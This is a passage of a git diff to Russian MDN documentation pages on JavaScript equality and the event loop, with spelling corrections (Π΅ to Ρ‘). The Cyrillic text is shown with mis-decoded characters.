Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρƒ. ИмСнно для сравнСния Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΈ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ нСизмСняСмых свойств ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ сравнСниС ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹Ρ… Π²Π΅Π»ΠΈΡ‡ΠΈΠ½, прСдставлСнноС ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is">Object.is</a></code>.</p>
+<p>ΠŸΡ€ΠΈ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅ измСнСния нСизмСняСмого свойства, Π²Ρ‹Π·ΠΎΠ² <code>Object.defineProperty выбросит</code> ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅, ΠΎΠ΄Π½Π°ΠΊΠΎ, Ссли Π½ΠΎΠ²ΠΎΠ΅ свойство равняСтся старому, ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ ΠΈ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±Ρ€ΠΎΡˆΠ΅Π½ΠΎ. Если <code>v</code> содСрТит <code>-0</code>, ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚, Π° Π·Π½Π°Ρ‡ΠΈΡ‚, ΠΊΠΎΠ΄ ΠΎΡ‚Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π±Π΅Π· выброса ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΉ. Однако, Ссли ΠΆΠ΅ <code>v</code> содСрТит <code>+0</code>, <code>Number.NEGATIVE_ZERO</code> ΡƒΡ‚Ρ€Π°Ρ‚ΠΈΡ‚ свою Π½Π΅ΠΈΠ·ΠΌΠ΅Π½ΡΠ΅ΠΌΡƒΡŽ Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρƒ. ИмСнно для сравнСния Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΈ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ нСизмСняСмых свойств ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ сравнСниС ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹Ρ… Π²Π΅Π»ΠΈΡ‡ΠΈΠ½, прСдставлСнноС ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is">Object.is</a></code>.</p>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ_для_равСнства_строгого_равСнства_ΠΈ_равСнства_ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹Ρ…_Π²Π΅Π»ΠΈΡ‡ΠΈΠ½">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ для равСнства, строгого равСнства ΠΈ равСнства ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹Ρ… Π²Π΅Π»ΠΈΡ‡ΠΈΠ½</h2>
diff --git a/files/ru/web/javascript/eventloop/index.html b/files/ru/web/javascript/eventloop/index.html
index d659ecc73c..1d4023e2c5 100644
--- a/files/ru/web/javascript/eventloop/index.html
+++ b/files/ru/web/javascript/eventloop/index.html
@@ -21,7 +21,7 @@ translation_of: Web/JavaScript/EventLoop
<h3 id="Π‘Ρ‚Π΅ΠΊ">Π‘Ρ‚Π΅ΠΊ</h3>
-<p>Π’Ρ‹Π·ΠΎΠ²Β Π»ΡŽΠ±ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ создаСт контСкст выполнСния (<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/HTML_DOM_API/Microtask_guide/In_depth#JavaScript_execution_contexts">Execution Context</a>). ΠŸΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ создаСтся новый контСкст, Π° старый сохраняСтся Π² ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ структурС Π΄Π°Π½Π½Ρ‹Ρ… - стСкС Π²Ρ‹Π·ΠΎΠ²ΠΎΠ² (Call Stack).</p>
+<p>Π’Ρ‹Π·ΠΎΠ²Β Π»ΡŽΠ±ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ создаёт контСкст выполнСния (<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/HTML_DOM_API/Microtask_guide/In_depth#JavaScript_execution_contexts">Execution Context</a>). ΠŸΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ создаётся новый контСкст, Π° старый сохраняСтся Π² ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ структурС Π΄Π°Π½Π½Ρ‹Ρ… - стСкС Π²Ρ‹Π·ΠΎΠ²ΠΎΠ² (Call Stack).</p>
<pre class="brush: js">function f(b) {
var a = 12;
@@ -36,7 +36,7 @@ function g(x) {
g(21);
</pre>
-<p>Когда вызываСтся функция <code>g</code>,  создаётся ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ контСкст выполнСния, содСрТащий аргумСнты Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>g</code> ΠΈ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅. Когда <code>g</code> Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ <code>f</code>, создаётся Π²Ρ‚ΠΎΡ€ΠΎΠΉ контСкст с Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈΒ <code>f</code> ΠΈ Π΅Ρ‘ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌΠΈ.  И этот контСкст выполнСния <code>f</code> помСщаСтся Π² стСк Π²Ρ‹Π·ΠΎΠ²ΠΎΠ²Β Π²Ρ‹ΡˆΠ΅ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ. Когда <code>f</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ элСмСнт ΠΈΠ· стСка удаляСтся. Когда <code>g</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, Π΅Π΅ контСкст Ρ‚Π°ΠΊΠΆΠ΅ удалится, и стСк становится пустым.</p>
+<p>Когда вызываСтся функция <code>g</code>,  создаётся ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ контСкст выполнСния, содСрТащий аргумСнты Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>g</code> ΠΈ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅. Когда <code>g</code> Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ <code>f</code>, создаётся Π²Ρ‚ΠΎΡ€ΠΎΠΉ контСкст с Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈΒ <code>f</code> ΠΈ Π΅Ρ‘ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌΠΈ.  И этот контСкст выполнСния <code>f</code> помСщаСтся Π² стСк Π²Ρ‹Π·ΠΎΠ²ΠΎΠ²Β Π²Ρ‹ΡˆΠ΅ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ. Когда <code>f</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, Π²Π΅Ρ€Ρ…Π½ΠΈΠΉ элСмСнт ΠΈΠ· стСка удаляСтся. Когда <code>g</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, Π΅Ρ‘ контСкст Ρ‚Π°ΠΊΠΆΠ΅ удалится, и стСк становится пустым.</p>
<h3 id="ΠšΡƒΡ‡Π°">ΠšΡƒΡ‡Π°</h3>
@@ -62,7 +62,7 @@ g(21);
<h3 id="Запуск_Π΄ΠΎ_Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ">Запуск Π΄ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ</h3>
-<p>КаТдая Π·Π°Π΄Π°Ρ‡Π°Β Π²Ρ‹ΠΏΠΎΠ»Π½ΡΠ΅Ρ‚ΡΡΒ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ, ΠΏΡ€Π΅ΠΆΠ΄Π΅Β Ρ‡Π΅ΠΌ Π½Π°Ρ‡Π½Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ. Благодаря этому ΠΌΡ‹ Ρ‚ΠΎΡ‡Π½ΠΎ Π·Π½Π°Π΅ΠΌ: ΠΊΠΎΠ³Π΄Π° выполняСтся тСкущая функция – ΠΎΠ½Π° Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ приостановлСна и Π±ΡƒΠ΄Π΅Ρ‚ Ρ†Π΅Π»ΠΈΠΊΠΎΠΌΒ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π°Β Π΄ΠΎ Π½Π°Ρ‡Π°Π»Π° выполнСния Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎΒ ΠΊΠΎΠ΄Π° (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ тСкущая функция).Β Π­Ρ‚ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π°Π΅Ρ‚ JavaScript ΠΎΡ‚ Ρ‚Π°ΠΊΠΎΠ³ΠΎ языка программирования ΠΊΠ°ΠΊΒ C.Β ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π² Π‘ функция, запущСнная в ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅, Π² любой ΠΌΠΎΠΌΠ΅Π½Ρ‚Β ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ остановлСна,Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΊΠΎΠ΄ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅.</p>
+<p>КаТдая Π·Π°Π΄Π°Ρ‡Π°Β Π²Ρ‹ΠΏΠΎΠ»Π½ΡΠ΅Ρ‚ΡΡΒ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ, ΠΏΡ€Π΅ΠΆΠ΄Π΅Β Ρ‡Π΅ΠΌ Π½Π°Ρ‡Π½Ρ‘Ρ‚ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ. Благодаря этому ΠΌΡ‹ Ρ‚ΠΎΡ‡Π½ΠΎ Π·Π½Π°Π΅ΠΌ: ΠΊΠΎΠ³Π΄Π° выполняСтся тСкущая функция – ΠΎΠ½Π° Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ приостановлСна и Π±ΡƒΠ΄Π΅Ρ‚ Ρ†Π΅Π»ΠΈΠΊΠΎΠΌΒ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π°Β Π΄ΠΎ Π½Π°Ρ‡Π°Π»Π° выполнСния Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎΒ ΠΊΠΎΠ΄Π° (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ тСкущая функция).Β Π­Ρ‚ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π°Π΅Ρ‚ JavaScript ΠΎΡ‚ Ρ‚Π°ΠΊΠΎΠ³ΠΎ языка программирования ΠΊΠ°ΠΊΒ C.Β ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π² Π‘ функция, запущСнная в ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅, Π² любой ΠΌΠΎΠΌΠ΅Π½Ρ‚Β ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ остановлСна,Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΊΠΎΠ΄ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅.</p>
<p>Π£ Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Π° Π΅ΡΡ‚ΡŒ ΠΈ минусы. Если Π·Π°Π΄Π°Ρ‡Π° Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚Β ΡΠ»ΠΈΡˆΠΊΠΎΠΌ ΠΌΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Ρ‚ΠΎ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Β ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ дСйствия ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π² это врСмя (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, скролл или ΠΊΠ»ΠΈΠΊ). Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ стараСтся ΡΠΌΡΠ³Ρ‡ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ ΠΈ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ сообщСниС <em>"скрипт выполняСтся слишком Π΄ΠΎΠ»Π³ΠΎ" ("a script is taking too long to run")</em>Β ΠΈ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ. Π₯ΠΎΡ€ΠΎΡˆΠ΅ΠΉΒ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΎΠΉ являСтся созданиС Π·Π°Π΄Π°Ρ‡, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ быстро, ΠΈ Ссли Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Ρ€Π°Π·Π±ΠΈΠ΅Π½ΠΈΠ΅ ΠΎΠ΄Π½ΠΎΠΉ Π·Π°Π΄Π°Ρ‡ΠΈ Π½Π° нСсколько ΠΌΠ΅Π»ΠΊΠΈΡ….</p>
@@ -70,11 +70,11 @@ g(21);
<p>Π’ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… события Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚ΡΡ Π² ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ Π² любоС врСмя, Ссли событиС ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»ΠΎ, Π° Ρ‚Π°ΠΊ ΠΆΠ΅ Ссли Ρƒ Π½Π΅Π³ΠΎ Π΅ΡΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ. Π’ случаС, Ссли ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°Β Π½Π΅Ρ‚ – событиС потСряно. Π’Π°ΠΊ, ΠΊΠ»ΠΈΠΊ ΠΏΠΎ элСмСнту, ΠΈΠΌΠ΅ΡŽΡ‰Π΅ΠΌΡƒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события ΠΏΠΎ ΡΠΎΠ±Ρ‹Ρ‚ΠΈΡŽ <code>click </code>, Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ событиС Π² ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, Π° Ссли ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π½Π΅Ρ‚ – Ρ‚ΠΎ ΠΈ событиС Π² ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ Π½Π΅ ΠΏΠΎΠΏΠ°Π΄Π΅Ρ‚.</p>
-<p>Π’Ρ‹Π·ΠΎΠ²Β <a href="/ru/docs/Web/API/WindowTimers/setTimeout" title="/en-US/docs/window.setTimeout">setTimeout</a>Β Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ событиС Π² ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ ΠΏΠΎ ΠΏΡ€ΠΎΡˆΠ΅ΡΡ‚Π²ΠΈΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ Π²ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π΅ Π²Ρ‹Π·ΠΎΠ²Π°. Если ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ событий Π½Π° Ρ‚ΠΎΡ‚ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ пуста, Ρ‚ΠΎ событиС обработаСтся сразу ΠΆΠ΅, Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ ΡΠ»ΡƒΡ‡Π°Π΅Β ΡΠΎΠ±Ρ‹Ρ‚ΠΈΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>setTimeout</code> придСтся ΠΎΠΆΠΈΠ΄Π°Ρ‚ΡŒ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… событий Π² ΠΎΡ‡Π΅Ρ€Π΅Π΄ΠΈ. ИмСнно поэтому Π²Ρ‚ΠΎΡ€ΠΎΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Β <code>setTimeout</code>Β ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π½Π΅ Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ, Ρ‡Π΅Ρ€Π΅Π· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ выполнится функция ΠΈΠ· ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°, Π° минимальноС врСмя, Ρ‡Π΅Ρ€Π΅Π· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ½Π° смоТСт Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒΡΡ.</p>
+<p>Π’Ρ‹Π·ΠΎΠ²Β <a href="/ru/docs/Web/API/WindowTimers/setTimeout" title="/en-US/docs/window.setTimeout">setTimeout</a>Β Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ событиС Π² ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ ΠΏΠΎ ΠΏΡ€ΠΎΡˆΠ΅ΡΡ‚Π²ΠΈΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ Π²ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π΅ Π²Ρ‹Π·ΠΎΠ²Π°. Если ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ событий Π½Π° Ρ‚ΠΎΡ‚ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ пуста, Ρ‚ΠΎ событиС обработаСтся сразу ΠΆΠ΅, Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ ΡΠ»ΡƒΡ‡Π°Π΅Β ΡΠΎΠ±Ρ‹Ρ‚ΠΈΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>setTimeout</code> придётся ΠΎΠΆΠΈΠ΄Π°Ρ‚ΡŒ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… событий Π² ΠΎΡ‡Π΅Ρ€Π΅Π΄ΠΈ. ИмСнно поэтому Π²Ρ‚ΠΎΡ€ΠΎΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Β <code>setTimeout</code>Β ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π½Π΅ Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ, Ρ‡Π΅Ρ€Π΅Π· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ выполнится функция ΠΈΠ· ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°, Π° минимальноС врСмя, Ρ‡Π΅Ρ€Π΅Π· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ½Π° смоТСт Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒΡΡ.</p>
<h3 id="НулСвыС_Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠΈ">НулСвыС Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠΈ</h3>
-<p>НулСвая Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠ° Π½Π΅ Π΄Π°Π΅Ρ‚ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΠΈ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ выполнится чСрСз ноль миллисСкунд. Π’Ρ‹Π·ΠΎΠ²Β {{domxref("WindowTimers.setTimeout", "setTimeout")}} с аргумСнтом Β 0 (ноль)Β Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ Π·Π° ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅ врСмя. Π’Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ зависит ΠΎΡ‚ количСства ΠΎΠΆΠΈΠ΄Π°ΡŽΡ‰ΠΈΡ… Π·Π°Π΄Π°Ρ‡ Π² ΠΎΡ‡Π΅Ρ€Π΅Π΄ΠΈ. НапримСр, сообщСниС ''this is just a message'' ΠΈΠ· ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Β Π½ΠΈΠΆΠ΅Β Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π²Π΅Π΄Π΅Π½ΠΎΒ Π½Π° ΠΊΠΎΠ½ΡΠΎΠ»ΡŒΒ Ρ€Π°Π½ΡŒΡˆΠ΅, Ρ‡Π΅ΠΌ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°Β <em>cb1</em>. Π­Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚,Β ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠ° – это минимальноС врСмя, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ трСбуСтся срСдС выполнСния Π½Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ запроса.</p>
+<p>НулСвая Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠ° Π½Π΅ Π΄Π°Ρ‘Ρ‚ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΠΈ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ выполнится чСрСз ноль миллисСкунд. Π’Ρ‹Π·ΠΎΠ²Β {{domxref("WindowTimers.setTimeout", "setTimeout")}} с аргумСнтом Β 0 (ноль)Β Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ Π·Π° ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅ врСмя. Π’Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ зависит ΠΎΡ‚ количСства ΠΎΠΆΠΈΠ΄Π°ΡŽΡ‰ΠΈΡ… Π·Π°Π΄Π°Ρ‡ Π² ΠΎΡ‡Π΅Ρ€Π΅Π΄ΠΈ. НапримСр, сообщСниС ''this is just a message'' ΠΈΠ· ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Β Π½ΠΈΠΆΠ΅Β Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π²Π΅Π΄Π΅Π½ΠΎΒ Π½Π° ΠΊΠΎΠ½ΡΠΎΠ»ΡŒΒ Ρ€Π°Π½ΡŒΡˆΠ΅, Ρ‡Π΅ΠΌ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°Β <em>cb1</em>. Π­Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚,Β ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠ° – это минимальноС врСмя, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ трСбуСтся срСдС выполнСния Π½Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ запроса.</p>
<pre class="brush: js">(function () {
